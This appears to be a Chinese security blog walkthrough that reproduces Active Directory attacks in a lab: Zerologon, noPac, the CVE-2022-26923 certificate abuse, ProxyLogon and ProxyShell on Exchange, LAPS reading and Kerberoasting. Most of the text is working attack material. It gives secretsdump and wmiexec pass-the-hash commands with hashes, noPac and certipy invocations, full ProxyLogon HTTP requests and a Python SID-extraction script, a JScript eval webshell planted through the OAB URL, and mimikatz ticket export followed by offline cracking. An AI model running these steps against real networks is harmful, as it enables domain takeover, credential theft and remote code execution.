Active Directory 域攻击面 | TOP 10 攻击方向(上)
0x01 前言
看见M01N Team公众号发布了一篇名字为《2023攻防应知应会|发布!细数Active Directory域攻击面十大安全风险》
的文章。
https://mp.weixin.qq.com/s/-n8XYwQ2fKYzqAyp353j4g
那么就让我们来复现一下具体的技术操作流程
0x02 AD DS 漏洞
1. Zerologon(CVE-2020-1472)
最知名的莫过于Zerologon(CVE-2020-1472) 该漏洞,攻击者只需能够访问域控的445端口,在无需任何凭据的情况下能拿到域管的权限。该漏洞的产生来源于Netlogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭证的情况情况下通过认证。该漏洞的最稳定利用是调用netlogon中RPC函数NetrServerPasswordSet2来重置域控的密码,从而以域控的身份进行Dcsync获取域管权限。
Netlogon远程协议是一个远程过程调用(RPC)接口,用于基于域的网络上的用户和计算机身份验证
那么我们开始实战,首先直接通过net view
等操作定位域控!已知域控地址为10.10.10.10(DC)。那么我们开始使用 攻击机器(10.10.10.111) 进行实验。
python3 secretsdump.py de1ay/DC\$@10.10.10.10 -no-pass
找到DC的Hash为31d6cfe0d16ae931b73c59d7e0c089c0
等相关的Administrator的Hash。那么我们就可以通过wmiexec对域控进行横向
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 Administrator@10.10.10.10
2. NoPac (CVE-2021-42278 & CVE-2021-42287)
CVE-2021-42278 : 机器用户应当是computer。导致机器用户名可以被模拟冒用。
CVE-2021-42287 : Kerberos在处理UserName字段时,如果找不到 UserName 的话,KDC会继续查找 UserName$,如果还是查找不到的话,KDC会继续查找altSecurityIdentities属性的值的⽤户。正是因为这个处理逻辑,导致了漏洞的产⽣。触发这个点有两种方式
跨域请求:跨域请求时,⽬标域活动⽬录数据库是找不到其他域的⽤户的,因此会⾛进这个 处理UserName的逻辑。 修改saMAccountName属性:在当前域,可以通过修改saMAccountName属性让KDC找不到⽤户,然后⾛进这个处理UserName的逻辑。
但是这还是不够,仅仅让KDC⾛进这个处理UserName的逻辑,还不能伪造⾼权限。因为票据中代表⽤户身份权限是数据块是PAC。⽽TGT认购权证中的PAC是根据预认证身份信息⽣成的,这个我们⽆法伪造。因此得想办法在ST服务票据中进⾏伪造。⽽正常的ST服务票据中的PAC是直接拷⻉TGT认购权证中的。因此,得想办法让KDC在TGS-REP的时候重新⽣成PAC,⽽不是拷⻉TGT票据中的PAC。这⾥也有两种⽅式:
S4U2Self请求:KDC在处理S4U2Self类型的TGS-REQ请求时,PAC是重新⽣成的。
跨域⽆PAC的TGT票据进⾏TGS请求:KDC在处理跨域的TGS-REQ请求时,如果携带的TGT认购权证中没有PAC,PAC会重新⽣成。
# 常规流程
1.首先创建一个机器账户
2.清除机器账户的servicePrincipalName属性
3.将机器账户的sAMAccountName修改为DC的机器账户名,但不带$
4.使用机器账户的身份请求TGT
5.将机器账户的sAMAccountName修改为其他值,不能与DC的机器账户名重复。
6.通过S4U2Self向KDC申请ST
7.拿到高权限ST票据,完成利用。
这里我们使用自动化进行NoPac攻击。
https://github.com/cube0x0/noPac (自行编译)
./noPac.exe -domain attack.local -user Administrator -pass '1qaz@WSX' /dc dc.de1ay.com
/mAccount test /mPassword password123 /service cifs /ptt
0x03 AD CS 脆弱性
1. CVE-2022-26923
当Windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的dNSHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。
[Ps:由于环境问题这里我就COPY其他人的内容]
我们使用低权限账户去申请一个证书
certipy req jiacheng.com/'atree:Pass123'@WIN-VU69RG1VN5G.jiacheng.com -ca jiacheng-WIN-VU69RG1VN5G-CA -template User -debug
通过证书成功获取atree的哈希值
certipy auth -pfx atree.pfx -debug
接着我们在创建一个机器账户
certipy account create jiacheng.com/'atree:Pass123'@WIN-
VU69RG1VN5G.jiacheng.com -user 'atreePC' -dns "WIN-
VU69RG1VN5G.jiacheng.com"
使用申请的机器账户获取证书
certipy req jiacheng.com/'atreePC$:xCZTZzZbnt7uAHJL'@WIN-VU69RG1VN5G.jiacheng.com -ca jiacheng-WIN-VU69RG1VN5G-CA -template Machine -debug
证书是域控主机的证书,通过机器账户的证书获的hash
certipy auth -pfx win-vu69rg1vn5g.pfx
接着我们利用secretsdump.py
来dump全部的hash
secretsdump.py 'jiacheng.com/win-vu69rg1vn5g$@win-vu69rg1vn5g.jiacheng.com' -hashes 2ed156932fe310afa24d377e8cbfb333:2ed156932fe310afa24d377e8cbfb333
拿到这些内容之后直接使用wmiexec.py
进行横向
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 ADMINISTRATOR@192.168.30.10
0x04 Exchange 漏洞
1. ProxyLogon
ProxyLogon是CVE-2021-26855的名称,它是一个存在于Microsoft Exchange Server的漏洞,可以使攻击者绕过身份验证并模拟用户。在观察到的攻击中,威胁行动者使用该漏洞去访问本地Excange服务器,从而可以访问邮箱账号,并且安装了其他恶意软件对受害机器进行长期的控制。
影响范围
Exchange Server 2019 < 15.02.0792.010 Exchange Server 2019 < 15.02.0721.013 Exchange Server 2016 < 15.01.2106.013 Exchange Server 2013 < 15.00.1497.012
通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息,在通过LegacyDN, 获取SID,然后通过合法的SID,获取exchange的有效cookie,最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作,写入一句话木马
ProxyLogon是通过利用CVE-2021-26855 SSRF 漏洞,然后使用CVE-2021-27065 任意文件写入漏洞组合进行利用。
SSRF是因为请求包中的cookie中X-BEResource
存在漏洞主机会有X-FEServer和X-CalculatedBETarget两个cookie。其中需要X-FEServer的信息进行进一步利用
GET /ecp/fd45ea.png HTTP/2
Host: 192.168.56.174
Cookie: X-BEResource=localhost~1942062522;
确认响应头包含这两个字段就可以获取LegacyDN
https://192.168.56.174/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com
通过我们拿到的win-93uimouupn7.xiaozhang.com来获得LegacyDN
POST /ecp/xz.js HTTP/2
Host: 192.168.56.174
Cookie: X-BEResource=win-93uimouupn7.xiaozhang.com/autodiscover/autodiscover.xml?a=~1942062522;
Content-Type: text/xml
Content-Length: 379
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>administrator@域名</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
那么我们接下来就可以获取获取SID。这里为了方便直接使用脚本获取SID
import requests
legacyDn = '/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=7ecc15e6f7854cd89342bba49f33cb19-Admin'
mapi_body = legacyDn + \
"\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
print(mapi_body)
ct = requests.post("https://192.168.56.174/ecp/xz.js", headers={
"Cookie": "X-BEResource=Administrator@win-93uimouupn7.xiaozhang.com:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;",
"Content-Type": "application/mapi-http",
"X-Requesttype": "Connect",
"X-Clientapplication": "Outlook/15.0.4815.1002",
"X-Requestid": "x"
},
data=mapi_body,
verify=False,
)
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
print("Mapi Error!")
exit()
sid = str(ct.content).split("with SID ")[
1].split(" and MasterAccountSid")[0]
print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1], "500")
既然我们现在有了SID值就可以开始获取Cookie
POST /ecp/xz.js HTTP/2
Host: 192.168.56.174
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: X-BEResource=Administrator@win-93uimouupn7.xiaozhang.com:444/ecp/proxyLogon.ecp?a=~1942062522;
Content-Type: text/xml
Msexchlogonmailbox: S-1-5-20
Content-Length: 93
<r at="NTLM" ln="Administrator"><s t="0">S-1-5-21-3999964583-919065085-2198410999-500</s></r>
既然我们拿到管理员权限的账号的那就可以开始组合漏洞了 (CVE-2021-27065 任意文件写入漏洞)
我们可以编辑OAB配置中的外部URL来写入木马
http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange"],"unsafe");}</script>
默认地址为:'\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\xz.aspx'
重置之后我们可以直接访问 '/aspnet_client/xz.aspx?orange='
2. ProxyShell
利用CVE-2021-34473这个SSRF漏洞可以绕过Exchange的身份验证并访问到后端的敏感信息,结合先前的SSRF漏洞,可以利用CVE-2021-34523提权漏洞向后端的/powershell端点发送Exchange Powershell命令并执行,利用CVE-2021-31207任意文件写入漏洞写入木马文件,其允许攻击者导出邮件内容到指定的路径。
主要利用思路:利用Exchange服务器对于路径的不准确过滤导致的路径混淆生成的SSRF,进而使攻击者通过访问PowerShell端点。而在PowerShell端点可以利用Remote PowerShell来将邮件信息打包到外部文件,而攻击者可以通过构造恶意邮件内容,利用文件写入写出webshell,从而达成命令执行。[来自互联网]
影响范围
Microsoft Exchange Server 2010 Microsoft Exchange Server 2013 Microsoft Exchange Server 2016 Microsoft Exchange Server 2019
获取到LegacyDN的方式与ProxyLogon类似
这里我们可以直接使用脚本
https://github.com/dmaasland/proxyshell-poc
直接使用脚本获得SID值以及Token!将生成的token通过X-CommonAccessToken进行利用
GET /autodiscover/autodiscover.json?a=administrator@xiaozhang.com/powershell/?X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBthZG1pbmlzdHJhdG9yQHhpYW96aGFuZy5jb21VLFMtMS01LTIxLTM5OTk5NjQ1ODMtOTE5MDY1MDg1LTIxOTg0MTA5OTktNTAwRwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA HTTP/2
Host: 192.168.56.174
Accept-Encoding: identity
Cookie: Email=autodiscover/autodiscover.json?a=administrator@xiaozhang.com
Content-Type: application/soap+xml;charset=UTF-8
Content-Length: 0
响应值为200,证明我们可以开始利用Powershell来执行命令。
如何利用Powershell执行命令
# 参考文章:
https://github.com/izj007/wechat/blob/main/articles/%5BTimeline%20Sec%5D-2021-8-25-Exchange%20ProxyShell%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0.md
POST /autodiscover/autodiscover.json?a=administrator@xiaozhang.com/EWS/exchange.asmx/?X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBthZG1pbmlzdHJhdG9yQHhpYW96aGFuZy5jb21VLFMtMS01LTIxLTM5OTk5NjQ1ODMtOTE5MDY1MDg1LTIxOTg0MTA5OTktNTAwRwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA HTTP/2
Host: 192.168.56.174
Cookie: Email=autodiscover/autodiscover.json?a=administrator@xiaozhang.com
Content-Length: 1442
Content-Type: text/xml
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016"/>
<t:SerializedSecurityContext>
<t:UserSid>S-1-5-21-3999964583-919065085-2198410999-500</t:UserSid>
<t:GroupSids>
<t:GroupIdentifier>
<t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier>
</t:GroupIdentifier>
</t:GroupSids>
</t:SerializedSecurityContext>
</soap:Header>
<soap:Body>
<m:CreateItem MessageDisposition="SaveOnly">
<m:Items>
<t:Message>
<t:Subject>aomenshoujiaxianshangduchang</t:Subject>
<t:Body BodyType="HTML">hello fromdarkness side</t:Body>
<t:Attachments>
<t:FileAttachment>
<t:Name>FileAttachment.txt</t:Name>
<t:IsInline>false</t:IsInline>
<t:IsContactPhoto>false</t:IsContactPhoto>
<t:Content>ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoI5uanf2jmp1mlU041pqRT/FIb32tld9wZUFLfTBjm5qd/aKSDTqQ2MyenapanNjL7aXPfa1hR+glSNDYIPa4L3BtapXdqCyTEhlfvWVIa3aRTZ</t:Content>
</t:FileAttachment>
</t:Attachments>
<t:ToRecipients>
<t:Mailbox>
<t:EmailAddress>administrator@xiaozhang.com</t:EmailAddress>
</t:Mailbox>
</t:ToRecipients>
</t:Message>
</m:Items>
</m:CreateItem>
</soap:Body>
</soap:Envelope>
这里调用exchange powershell接口,将邮件保存到本地中,这里就涉及到WsMan协议
为了方便,我们直接使用前面提及到的脚本即可
https://github.com/dmaasland/proxyshell-poc
0x05 登录非域控的域管理员
1. Local Administrator Password Solution
将本地管理员密码存储在LDAP上,作为计算机账户的一个机密属性,配合GPO,实现自动定期修改密码、设置密码长度、强度等,然后配置某些指的账号,能查看存储的密码。
如果用户需要,可以用PowerShell或指的工具查询密码,但对非授权用户,却无法获取,从而实现本机管理员的自动化管理。
LAPS使用两个LDAP属性来存储本地管理员凭证,这两个属性分别是ms-MCS-AdmPwd(存储密码)和ms-MCS-AdmPwdExpirationTime(存储过期时间)。
LAPS 工作原理
LAPS 解决方案的核心是 GPO 客户端扩展 (CSE),它执行以下任务,并可以在 GPO 更新期间强制执行以下操作:检查本地管理员帐户的密码是否已过期。当旧密码过期或需要在过期前更改时,它会生成新密码。它根据密码策略验证新密码。它将密码报告给 Active Directory,并将其与计算机帐户一起以机密属性存储在 Active Directory 中。它还向 Active Directory 报告密码的下一个到期时间,并将其与计算机帐户的属性一起存储在 Active Directory 中。它还可以更改管理员帐户的密码。然后,有权执行此操作的用户可以从 Active Directory 中读取密码。
如果配置不当,我们可以在域内一台普通主机,查看域内其他主机本地管理员账号的密码。
[PS:由于环境有限,故这节内容复制于互联网(侵权联系删除)]
# 项目地址:
https://github.com/swisskyrepo/SharpLAPS/releases
也可以通过Powershell (图片复制于跳跳糖社区 tttang.com)
0x06 Kerberoastable管理用户
1. Kerberoasting 离线破解
Kerberos协议分为两个主要阶段:
认证服务交换(AS-REQ/AS-REP) 票据授权服务交换(TGS-REQ/TGS-REP)
Kerberos协议涉及三个主要参与者:
客⼾端(⽤⼾) 服务 密钥分发中⼼(KDC)
Kerberoasting 攻击在实战中分为4步:
查询域内注册于域⽤⼾下的SPN
请求指定SPN的ST
导出请求的ST
对导出的ST进⾏离线爆破
首先我们先注册SPN(域管理员给asd⽤⼾注册spn)
setspn.exe -L asd
setspn.exe -s http/testserver asd
我们可以使用脚本工具PowerView来发现
https://github.com/PowerShellMafia/PowerSploit/tree/master PowerView.ps1
PowerView 是 PowerSpolit 中 Recon⽬录下⼀个powershell脚本,可⽤于查询过滤出域⽤⼾下注册SPN的用户,包括krbtgt用户,并返回用户详细信息。
Import-Module .\PowerView.ps1
Get-NetUser -spn
当过滤出注册在⽤⼾下的SPN之后,就可以请求这些SPN服务票据。
使⽤mimikatz请求指定SPN票据,保存在内存当中
# 请求所有SPN服务票据
mimikatz.exe "kerberos::list /export" "exit"
# 请求单个账⼾SPN服务票据
mimikatz.exe "kerberos::ask /target:"http/testserver" /service:http /user:asd
/domain:SHANGHAI.XIE.COM" "exit"
请求服务票据过程中,可以直接打印保存到⽂件,有的会保存在内存中,对于内存中的票据,可以⽤ ⼯,让票据从内存中导出到⽂件。
# cmd窗⼝执⾏
klist
# mimikatz执⾏
mimikatz.exe "kerberos::list" "exit"
# 在同⽬录下导出 .kirbi格式票据⽂件
mimikatz.exe "kerberos::list /export" "exit"
目前我们取得了 .kirbi 票据⽂件或者hashcat,john能直接破解的⽂件,接下来就需要本地离线破 解服务票据。使用到一个工具名字为:kerberoast
https://github.com/nidem/kerberoast
Kerberoast ⽤于攻击kerberos试试先的⼀些⼯具集合,该⼯具中 tgsreocrack.py 脚本对 mimikatz 导出的 .kirbi票据 进⾏爆破。
python3 tgsrepcrack.py pass.txt 2-40810000-asd@http\~testserver-SHANGHAI.XIE.COM.kirbi
0x07 结尾
有些小部分内容由于环境问题,图片是来自于互联网的。这篇上我就写M01N Team发布的内容的前五个技术,争取在国护结束之前发布后五个技术。
如有商务合作、技术交流,欢迎添加下方我的微信
# 参考链接
https://www.se7ensec.cn/2021/03/12/%E5%9F%9F%E6%B8%97%E9%80%8F-ZeroLogon%E7%9A%84%E5%88%A9%E7%94%A8/
https://systemweakness.com/use-nopac-cve-2021-42278-cve-2021-42287-when-you-don-t-know-the-exploited-user-s-cleartext-e5207fc348e3
https://www.jianshu.com/p/1f30e0495cba
https://tttang.com/archive/1613/
https://saucer-man.com/information_security/748.html#cl-9
https://mp.weixin.qq.com/s/EnYnMKwr_UGK-3pAFjwHcQ
https://ucasers.cn/%E5%AF%B9ProxyLogon%E5%92%8CProxyShell%E7%9A%84%E5%A4%8D%E7%8E%B0%E8%B0%83%E8%AF%95/#title-8
https://tttang.com/archive/871/#toc_3powershell